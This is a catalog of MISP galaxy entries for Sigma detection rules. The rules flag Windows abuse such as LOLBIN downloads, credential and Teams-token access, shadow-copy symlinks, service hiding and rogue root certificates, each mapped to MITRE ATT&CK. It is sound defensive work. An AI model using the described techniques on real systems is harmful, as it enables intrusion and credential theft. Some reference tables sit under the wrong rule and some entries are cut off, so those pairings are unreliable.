**VMToolsd Suspicious Child Process**

Detects suspicious child process creations of VMware Tools process which may indicate persistence setup

The tag is: `misp-galaxy:sigma-rules="VMToolsd Suspicious Child Process"`

View relationships graph

VMToolsd Suspicious Child Process has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059"` with `estimative-language:likelihood-probability="almost-certain"`
Veeam Backup Database Suspicious Query

Detects potentially suspicious SQL queries using SQLCmd targeting the Veeam backup databases in order to steal information.

The tag is: `misp-galaxy:sigma-rules=“Veeam Backup Database Suspicious Query”`

View relationships graph

Veeam Backup Database Suspicious Query has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

Detected Windows Software Discovery

Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable.

The tag is: `misp-galaxy:sigma-rules=“Detected Windows Software Discovery”`

View relationships graph

Detected Windows Software Discovery has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-language:likelihood-probability="almost-certain"
Share And Session Enumeration Using Net.EXE

Detects attempts to enumerate file shares, printer shares and sessions using "net.exe" with the "view" flag.

The tag is: `misp-galaxy:sigma-rules="Share And Session Enumeration Using Net.EXE"`

View relationships graph

Share And Session Enumeration Using Net.EXE has relationships with:


Table 10107. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://eqllib.readthedocs.io/en/latest/analytics/b8a94d2f-dc75-4630-9d73-1edc6bd26fff.html">https://eqllib.readthedocs.io/en/latest/analytics/b8a94d2f-dc75-4630-9d73-1edc6bd26fff.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fddfcd3742bfcf365fee2a9/atomics/T1018/T1018.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fddfcd3742bfcf365fee2a9/atomics/T1018/T1018.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_share_and_sessions_enum.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_share_and_sessions_enum.yml</a></td>
</tr>
</tbody>
</table>

Windows Shell/Scripting Processes Spawning Suspicious Programs

Detects suspicious child processes of a Windows shell and scripting processes such as wscript, rundll32, powershell, mshta...etc.

The tag is: `misp-galaxy:sigma-rules="Windows Shell/Scripting Processes Spawning Suspicious Programs"`

View relationships graph

Windows Shell/Scripting Processes Spawning Suspicious Programs has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"` with estimative-language:likelihood-probability="almost-certain"
AgentExecutor PowerShell Execution

Detects execution of the AgentExecutor.exe binary. Which can be abused as a LOLBIN to execute PowerShell scripts with the ExecutionPolicy "Bypass" or any binary named "powershell.exe" located in the path provided by 6th positional argument.

The tag is: misp-galaxy:sigma-rules="AgentExecutor PowerShell Execution"

View relationships graph

AgentExecutor PowerShell Execution has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Powershell Inline Execution From A File

Detects inline execution of PowerShell code from a file.

The tag is: misp-galaxy:sigma-rules="Powershell Inline Execution From A File"

View relationships graph

Powershell Inline Execution From A File has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
**New Kernel Driver Via SC.EXE**

Detects creation of a new service (kernel driver) with the type "kernel"

The tag is: `misp-galaxy:sigma-rules="New Kernel Driver Via SC.EXE"`

**View relationships graph**

New Kernel Driver Via SC.EXE has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003"` with estimative-language:likelihood-probability="almost-certain"

**Gpresult Display Group Policy Information**

Detects cases in which a user uses the built-in Windows utility gpresult to display the Resultant Set of Policy (RSoP) information

The tag is: `misp-galaxy:sigma-rules="Gpresult Display Group Policy Information"`

**View relationships graph**

Gpresult Display Group Policy Information has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Group Policy Discovery - T1615"` with estimative-language:likelihood-probability="almost-certain"
Use of FSharp Interpreters

The FSharp Interpreters, FsiAnyCpu.exe and FSi.exe, can be used for AWL bypass and is listed in Microsoft recommended block rules.

The tag is: `misp-galaxy:sigma-rules="Use of FSharp Interpreters"`

View relationships graph

Use of FSharp Interpreters has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059"` with estimative-language:likelihood-probability="almost-certain"

Table 10113. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/OtherMSBinaries/Fsi/">https://lolbas-project.github.io/lolbas/OtherMSBinaries/Fsi/</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/OtherMSBinaries/FsiAnyCpu/">https://lolbas-project.github.io/lolbas/OtherMSBinaries/FsiAnyCpu/</a></td>
</tr>
</tbody>
</table>

Hardware Model Reconnaissance Via Wmic.EXE

Detects the execution of WMIC with the "csproduct" which is used to obtain information such as hardware models and vendor information

The tag is: `misp-galaxy:sigma-rules="Hardware Model Reconnaissance Via Wmic.EXE"`

View relationships graph

Hardware Model Reconnaissance Via Wmic.EXE has relationships with:

### Suspicious Command With Teams Objects Paths

Detects an access to authentication tokens and accounts of Microsoft Teams desktop application.

The tag is: `misp-galaxy:sigma-rules="Suspicious Command With Teams Objects Paths"

#### View relationships graph

Suspicious Command With Teams Objects Paths has relationships with:


### Remote Access Tool - AnyDesk Piped Password Via CLI

Detects piping the password to an anydesk instance via CMD and the '–set-password' flag.

The tag is: `misp-galaxy:sigma-rules="Remote Access Tool - AnyDesk Piped Password Via CLI"

#### View relationships graph

Remote Access Tool - AnyDesk Piped Password Via CLI has relationships with:

**VolumeShadowCopy Symlink Creation Via Mklink**

Shadow Copies storage symbolic link creation using operating systems utilities

The tag is: `misp-galaxy:sigma-rules="VolumeShadowCopy Symlink Creation Via Mklink"`

View relationships graph

VolumeShadowCopy Symlink Creation Via Mklink has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="NTDS - T1003.003"` with `estimative-language:likelihood-probability="almost-certain"`

*Table 10117. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment">https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_mklink_shadow_copies_access_symlink.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_mklink_shadow_copies_access_symlink.yml</a></td>
</tr>
</tbody>
</table>

---

**Suspicious LOLBIN AccCheckConsole**

Detects suspicious LOLBIN AccCheckConsole execution with parameters as used to load an arbitrary DLL

The tag is: `misp-galaxy:sigma-rules="Suspicious LOLBIN AccCheckConsole"`

*Table 10118. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://gist.github.com/bohops/2444129419c8acf837aedda5f0e7f340">https://gist.github.com/bohops/2444129419c8acf837aedda5f0e7f340</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/bohops/status/1477717351017680899?s=12">https://twitter.com/bohops/status/1477717351017680899?s=12</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/OtherMSBinaries/AccCheckConsole/">https://lolbas-project.github.io/lolbas/OtherMSBinaries/AccCheckConsole/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_acccheckconsole.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_acccheckconsole.yml</a></td>
</tr>
</tbody>
</table>
Import LDAP Data Interchange Format File Via Ldifde.EXE

Detects the execution of "Ldifde.exe" with the import flag "-i". The can be abused to include HTTP-based arguments which will allow the arbitrary download of files from a remote server.

The tag is: misp-galaxy:sigma-rules="Import LDAP Data Interchange Format File Via Ldifde.EXE"

View relationships graph

Import LDAP Data Interchange Format File Via Ldifde.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 10119. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://strontic.github.io/xcyclopedia/library/ldifde.exe-979DE101F5059CEC1D2C56967CA2BAC0.html">https://strontic.github.io/xcyclopedia/library/ldifde.exe-979DE101F5059CEC1D2C56967CA2BAC0.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/0gtweet/status/1564968845726580736">https://twitter.com/0gtweet/status/1564968845726580736</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ldifde_file_load.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ldifde_file_load.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Microsoft Office Child Process

Detects a suspicious process spawning from one of the Microsoft Office suite products (Word, Excel, PowerPoint, Publisher, Visio, etc.)

The tag is: misp-galaxy:sigma-rules="Suspicious Microsoft Office Child Process"

View relationships graph

Suspicious Microsoft Office Child Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"

Table 10120. Table References
Suspicious Call by Ordinal

Detects suspicious calls of DLLs in rundll32.dll exports by ordinal

The tag is: `misp-galaxy:sigma-rules="Suspicious Call by Ordinal"`

View relationships graph

Suspicious Call by Ordinal has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011"` with estimative-language:likelihood-probability="almost-certain"

Table 10121. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/Neo23x0/DLLRunner">https://github.com/Neo23x0/DLLRunner</a></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html">https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html</a></td>
</tr>
<tr>
<td><a href="https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47f629e">https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47f629e</a></td>
</tr>
<tr>
<td><a href="https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/">https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://www.elastic.co/security-labs/exploring-the-ref2731-intrusion-set">https://www.elastic.co/security-labs/exploring-the-ref2731-intrusion-set</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/andythevariable/status/1576953781581144064?s=20&amp;t=QiJIlvK4ZiBdR8RJe24u-A">https://twitter.com/andythevariable/status/1576953781581144064?s=20&amp;t=QiJIlvK4ZiBdR8RJe24u-A</a></td>
</tr>
<tr>
<td><a href="https://www.vmray.com/analyses/2d2fa29185ad/report/overview.html">https://www.vmray.com/analyses/2d2fa29185ad/report/overview.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_susp_child_processes.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_susp_child_processes.yml</a></td>
</tr>
</tbody>
</table>
Suspicious Use of CSharp Interactive Console

Detects the execution of CSharp interactive console by PowerShell

The tag is: *misp-galaxy:sigma-rules=*"Suspicious Use of CSharp Interactive Console"

View relationships graph

Suspicious Use of CSharp Interactive Console has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern=*"Trusted Developer Utilities Proxy Execution - T1127" with estimative-language:likelihood-probability="almost-certain"

Table 10122. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://redcanary.com/blog/detecting-attacks-leveraging-the-net-framework/">https://redcanary.com/blog/detecting-attacks-leveraging-the-net-framework/</a></td>
</tr>
</tbody>
</table>

PUA - Wsudo Suspicious Execution

Detects usage of wsudo (Windows Sudo Utility). Which is a tool that let the user execute programs with different permissions (System, Trusted Installer, Administrator...etc)

The tag is: *misp-galaxy:sigma-rules=*"PUA - Wsudo Suspicious Execution"

View relationships graph

PUA - Wsudo Suspicious Execution has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern=*"Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 10123. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/M2Team/Privexec/">https://github.com/M2Team/Privexec/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win</a> _pua_wsudo_susp_execution.yml</td>
</tr>
</tbody>
</table>
Use of TTDInject.exe

Detects the execution of TTDInject.exe, which is used by Windows 10 v1809 and newer to debug time travel (underlying call of tttracer.exe)

The tag is: `misp-galaxy:sigma-rules="Use of TTDInject.exe"`

View relationships graph

Use of TTDInject.exe has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities Proxy Execution - T1127"` with `estimative-language:likelihood-probability="almost-certain"`

**Table 10124. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Ttdinject/">https://lolbas-project.github.io/lolbas/Binaries/Ttdinject/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ttdinject.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ttdinject.yml</a></td>
</tr>
</tbody>
</table>

Potential System Information Discovery Via Wmic.EXE

Detects the use of the WMI command-line (WMIC) utility to identify and display various system information, including OS, CPU, GPU, and disk drive names; memory capacity; display resolution; and baseboard, BIOS, and GPU driver products/versions. Some of these commands were used by Aurora Stealer in late 2022/early 2023.

The tag is: `misp-galaxy:sigma-rules="Potential System Information Discovery Via Wmic.EXE"`

View relationships graph

Potential System Information Discovery Via Wmic.EXE has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082"` with `estimative-language:likelihood-probability="almost-certain"`

**Table 10125. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.sekoia.io/aurora-a-rising-stealer-flying-under-the-radar">https://blog.sekoia.io/aurora-a-rising-stealer-flying-under-the-radar</a></td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/a2ccd19c37d0278b4ffa8583add3cf52060a5418/atomics/T1082/T1082.md#atomic-test-25---system-information-discovery-with-wmic">https://github.com/redcanaryco/atomic-red-team/blob/a2ccd19c37d0278b4ffa8583add3cf52060a5418/atomics/T1082/T1082.md#atomic-test-25---system-information-discovery-with-wmic</a></td>
</tr>
<tr>
<td><a href="https://blog.cyble.com/2023/01/18/aurora-a-stealer-using-shapeshifting-tactics/">https://blog.cyble.com/2023/01/18/aurora-a-stealer-using-shapeshifting-tactics/</a></td>
</tr>
<tr>
<td><a href="https://nwgat.ninja/getting-system-information-with-wmic-on-windows/">https://nwgat.ninja/getting-system-information-with-wmic-on-windows/</a></td>
</tr>
<tr>
<td><a href="https://app.any.run/tasks/a6aa0057-82ec-451f-8f99-55650ca537da/">https://app.any.run/tasks/a6aa0057-82ec-451f-8f99-55650ca537da/</a></td>
</tr>
</tbody>
</table>
Suspicious PowerShell IEX Execution Patterns

Detects suspicious ways to run Invoke-Execution using IEX alias

The tag is: misp-galaxy:sigma-rules="Suspicious PowerShell IEX Execution Patterns"

View relationships graph

Suspicious PowerShell IEX Execution Patterns has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 10126. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_iex_patterns.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_iex_patterns.yml</a></td>
</tr>
</tbody>
</table>

Deny Service Access Using Security Descriptor Tampering Via Sc.EXE

Detects suspicious DACL modifications to deny access to a service that affects critical trustees. This can be used to hide services or make them unstoppable.

The tag is: misp-galaxy:sigma-rules="Deny Service Access Using Security Descriptor Tampering Via Sc.EXE"

View relationships graph

Deny Service Access Using Security Descriptor Tampering Via Sc.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

Table 10127. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/">https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/</a></td>
</tr>
<tr>
<td><a href="https://www.sans.org/blog/red-team-tactics-hiding-windows-services/">https://www.sans.org/blog/red-team-tactics-hiding-windows-services/</a></td>
</tr>
</tbody>
</table>
Ping Hex IP

Detects a ping command that uses a hex encoded IP address

The tag is: misp-galaxy:sigma-rules="Ping Hex IP"

View relationships graph

Ping Hex IP has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 10128. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/vysecurity/Aggressor-VYSEC/blob/0d61c80387b9432dab64b8ba9fb52d20c6ef80e/ping.cna">https://github.com/vysecurity/Aggressor-VYSEC/blob/0d61c80387b9432dab64b8ba9fb52d20c6ef80e/ping.cna</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/vysecurity/status/977198418354491392">https://twitter.com/vysecurity/status/977198418354491392</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ping_hex_ip.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ping_hex_ip.yml</a></td>
</tr>
</tbody>
</table>

LOLBIN Execution Of The FTP.EXE Binary

Detects execution of ftp.exe script execution with the "-s" or "/s" flag and any child processes ran by ftp.exe

The tag is: misp-galaxy:sigma-rules="LOLBIN Execution Of The FTP.EXE Binary"

View relationships graph

LOLBIN Execution Of The FTP.EXE Binary has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"

Table 10129. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Ftp/">https://lolbas-project.github.io/lolbas/Binaries/Ftp/</a></td>
</tr>
</tbody>
</table>
Response File Execution Via Odbcconf.EXE

Detects execution of "odbcconf" with the "-f" flag in order to load a response file which might contain a malicious action.

The tag is: misp-galaxy:sigma-rules="Response File Execution Via Odbcconf.EXE"

Potential SMB Relay Attack Tool Execution

Detects different hacktools used for relay attacks on Windows for privilege escalation

The tag is: misp-galaxy:sigma-rules="Potential SMB Relay Attack Tool Execution"
Suspicious Active Directory Database Snapshot Via ADExplorer

Detects the execution of Sysinternals ADExplorer with the "-snapshot" flag in order to save a local copy of the active directory database to a suspicious directory.

The tag is: `misp-galaxy:sigma-rules="Suspicious Active Directory Database Snapshot Via ADExplorer"`

View relationships graph

Suspicious Active Directory Database Snapshot Via ADExplorer has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="NTDS - T1003.003"` with estimative-language:likelihood-probability="almost-certain"

Table 10132. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_relay_attacks_tools.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_relay_attacks_tools.yml</a></td>
</tr>
</tbody>
</table>

SafeBoot Registry Key Deleted Via Reg.EXE

Detects execution of "reg.exe" commands with the "delete" flag on safe boot registry keys. Often used by attacker to prevent safeboot execution of security products

The tag is: `misp-galaxy:sigma-rules="SafeBoot Registry Key Deleted Via Reg.EXE"`

View relationships graph

SafeBoot Registry Key Deleted Via Reg.EXE has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001"` with estimative-language:likelihood-probability="almost-certain"

Table 10133. Table References
**Renamed AutoIt Execution**

Detects the execution of a renamed AutoIt2.exe or AutoIt3.exe. AutoIt is a scripting language and automation tool for Windows systems. While primarily used for legitimate automation tasks, it can be misused in cyber attacks. Attackers can leverage AutoIt to create and distribute malware, including keyloggers, spyware, and botnets. A renamed AutoIt executable is particularly suspicious.

The tag is: *misp-galaxy:sigma-rules=* "Renamed AutoIt Execution"

**View relationships graph**

Renamed AutoIt Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

---

**Service Security Descriptor Tampering Via Sc.EXE**

Detection of sc.exe utility adding a new service with special permission which hides that service.

The tag is: *misp-galaxy:sigma-rules=* "Service Security Descriptor Tampering Via Sc.EXE"

**View relationships graph**

Service Security Descriptor Tampering Via Sc.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Services Registry Permissions Weakness - T1574.011" with estimative-language:likelihood-probability="almost-certain"
PktMon.EXE Execution

Detects execution of PktMon, a tool that captures network packets.

The tag is: *misp-galaxy: sigma-rules="PktMon.EXE Execution"

View relationships graph

PktMon.EXE Execution has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"

Msxsl.EXE Execution

Detects the execution of the MSXSL utility. This can be used to execute Extensible Stylesheet Language (XSL) files. These files are commonly used to describe the processing and rendering of data within XML files. Adversaries can abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses.

The tag is: *misp-galaxy: sigma-rules="Msxsl.EXE Execution"

View relationships graph

Msxsl.EXE Execution has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="XSL Script Processing - T1220" with estimative-language:likelihood-probability="almost-certain"
PrintBrm ZIP Creation of Extraction

Detects the execution of the LOLBIN PrintBrm.exe, which can be used to create or extract ZIP files. PrintBrm.exe should not be run on a normal workstation.

The tag is: *misp-galaxy:sigma-rules*="PrintBrm ZIP Creation of Extraction"

View relationships graph

PrintBrm ZIP Creation of Extraction has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern*="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- related-to: *misp-galaxy:mitre-attack-pattern*="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"

Table 10138. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/PrintBrm/">https://lolbas-project.github.io/lolbas/Binaries/PrintBrm/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_printbrm.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_printbrm.yml</a></td>
</tr>
</tbody>
</table>

Renamed ZOHO Dctask64 Execution

Detects a renamed dctask64.exe used for process injection, command execution, process creation with a signed binary by ZOHO Corporation

The tag is: *misp-galaxy:sigma-rules*="Renamed ZOHO Dctask64 Execution"

View relationships graph

Renamed ZOHO Dctask64 Execution has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern*="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- related-to: *misp-galaxy:mitre-attack-pattern*="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: *misp-galaxy:mitre-attack-pattern*="Indirect Command Execution - T1202" with
Remote Access Tool - NetSupport Execution From Unusual Location

Detects execution of client32.exe (NetSupport RAT) from an unusual location (outside of 'C:\Program Files')

The tag is: `misp-galaxy:sigma-rules="Remote Access Tool - NetSupport Execution From Unusual Location"`

File Download Via InstallUtil.EXE

Detects use of .NET InstallUtil.exe in order to download arbitrary files. The files will be written to "%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE"

The tag is: `misp-galaxy:sigma-rules="File Download Via InstallUtil.EXE"`

View relationships graph

File Download Via InstallUtil.EXE has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218"` with `estimative-language:likelihood-probability="almost-certain"`
**MSHTA Suspicious Execution 01**

Detection for mshta.exe suspicious execution patterns sometimes involving file polyglotism

The tag is: *misp-galaxy: sigma-rules=* "MSHTA Suspicious Execution 01"

View relationships graph

MSHTA Suspicious Execution 01 has relationships with:

- related-to: *misp-galaxy: mitre-attack-pattern=* "Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- related-to: *misp-galaxy: mitre-attack-pattern=* "Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"
- related-to: *misp-galaxy: mitre-attack-pattern=* "JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"

Table 10142. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/mattifestation/status/1326228491302563846">https://twitter.com/mattifestation/status/1326228491302563846</a></td>
</tr>
<tr>
<td><a href="http://blog.sevagas.com/?Hacking-around-HTA-files">http://blog.sevagas.com/?Hacking-around-HTA-files</a></td>
</tr>
<tr>
<td><a href="https://0x00sec.org/t/clientside-exploitation-in-2018-how-pentesting-has-changed/7356">https://0x00sec.org/t/clientside-exploitation-in-2018-how-pentesting-has-changed/7356</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mshta_susp_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mshta_susp_execution.yml</a></td>
</tr>
</tbody>
</table>

**Csc.EXE Execution Form Potentially Suspicious Parent**

Detects a potentially suspicious parent of "csc.exe", which could be a sign of payload delivery.

The tag is: *misp-galaxy: sigma-rules=* "Csc.EXE Execution Form Potentially Suspicious Parent"

View relationships graph

Csc.EXE Execution Form Potentially Suspicious Parent has relationships with:

- related-to: *misp-galaxy: mitre-attack-pattern=* "Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
• related-to: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"

• related-to: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"

• related-to: misp-galaxy:mitre-attack-pattern="Compile After Delivery - T1027.004" with estimative-language:likelihood-probability="almost-certain"

Table 10143. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.uptycs.com/blog/warzonerat-can-now-evade-with-process-hollowing">https://www.uptycs.com/blog/warzonerat-can-now-evade-with-process-hollowing</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_certificate_installation.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_certificate_installation.yml</a></td>
</tr>
</tbody>
</table>

New Root Certificate Installed Via Certutil.EXE

Detects execution of "certutil" with the "addstore" flag in order to install a new certificate on the system. Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.

The tag is: misp-galaxy:sigma-rules="New Root Certificate Installed Via Certutil.EXE"

View relationships graph

New Root Certificate Installed Via Certutil.EXE has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Install Root Certificate - T1553.004" with estimative-language:likelihood-probability="almost-certain"

Table 10144. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
